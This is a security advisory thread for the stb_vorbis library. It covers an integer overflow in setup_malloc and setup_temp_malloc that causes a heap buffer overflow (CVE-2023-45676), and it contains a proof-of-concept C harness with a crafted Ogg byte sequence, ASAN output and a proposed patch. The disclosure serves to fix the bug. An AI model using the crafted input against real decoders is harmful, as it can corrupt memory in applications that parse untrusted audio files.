Fix Multi-byte write heap buffer overflow in `start_decoder` (`GHSL-2023-166/CVE-2023-45676`)

[JarLob]

A crafted file may trigger out of bounds write in f->vendor[i] = get8_packet(f);. The root cause is an integer overflow in setup_malloc. A sufficiently large sz overflows sz+7 in [1] and the negative value passes the maximum available memory buffer check in [2].

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs. // [1] Int overflow
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset;
      if (f->setup_offset + sz > f->temp_offset) return NULL; // [2] Negative int passes the check
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL;
}

Similar overflow exists in setup_temp_malloc at [3]

static void *setup_temp_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs. // [3]
   if (f->alloc.alloc_buffer) {
      if (f->temp_offset - sz < f->setup_offset) return NULL;
      f->temp_offset -= sz;
      return (char *) f->alloc.alloc_buffer + f->temp_offset;
   }
   return malloc(sz);
}

Impact

This issue may lead to code execution.

Resources

To reproduce the issue:

1. Make ASAN build of the following program:

#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0xff,0xb8,0x03,
                            0x00,0xff,0x20,0xff,0x00,0x21,0x68,0x00,0x00,
                            0x00,0x00,0x00,0x00,0xa0,0x6a,0xab,0x75,0x01,
                            0x1e,0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,
                            0x00,0x00,0x00,0x01,0x31,0xef,0xf9,0xfe,0x00,
                            0x00,0x09,0x00,0x00,0x71,0x02,0x10,0x00,0x08,
                            0x00,0x9f,0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,
                            0x00,0x1c,0x00,0x80,0xff,0x01,0x40,0x21,0x68,
                            0x00,0x00,0x01,0x00,0x00,0x00,0xfe,0xff,0xff,
                            0x7f,0x00,0x00,0x00,0x03,0x76,0x6f,0x72,0x62,
                            0x69,0x73,0xfe,0xff,0xff,0x7f};
    size_t size = sizeof(data);

    stb_vorbis_alloc alloc;
    int alloc_buffer_length = 600 * 1024;
    alloc.alloc_buffer = (char*)malloc(alloc_buffer_length);
    alloc.alloc_buffer_length_in_bytes = alloc_buffer_length;
    int err;
    stb_vorbis* out = stb_vorbis_open_memory(data, size, &err, &alloc);
    stb_vorbis_close(out);
    free(alloc.alloc_buffer);
    return 0;
}

2. Run the program to hit the error.

==95610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f0f5eaff800 at pc 0x0000004e4133 bp 0x7fff88645e30 sp 0x7fff88645e28
WRITE of size 1 at 0x7f0f5eaff800 thread T0
    #0 0x4e4132 in start_decoder(stb_vorbis*) tests/../stb_vorbis.c:3656:20
    #1 0x4f9444 in stb_vorbis_open_memory tests/../stb_vorbis.c:5112:8

[sezero]

This #1554 and the next #1555 be combined and simplified into the following, can they not?

EDIT: Even better, < 0 should be <= 0 (c.f.: https://github.com/nothings/stb/issues/1248)

diff --git a/stb_vorbis.c b/stb_vorbis.c
index 3e5c250..a505d01 100644
--- a/stb_vorbis.c
+++ b/stb_vorbis.c
@@ -949,6 +949,7 @@
 
 static void *setup_malloc(vorb *f, int sz)
 {
+   if (sz <= 0 || INT_MAX - 7 < sz) return NULL;
    sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
    f->setup_memory_required += sz;
    if (f->alloc.alloc_buffer) {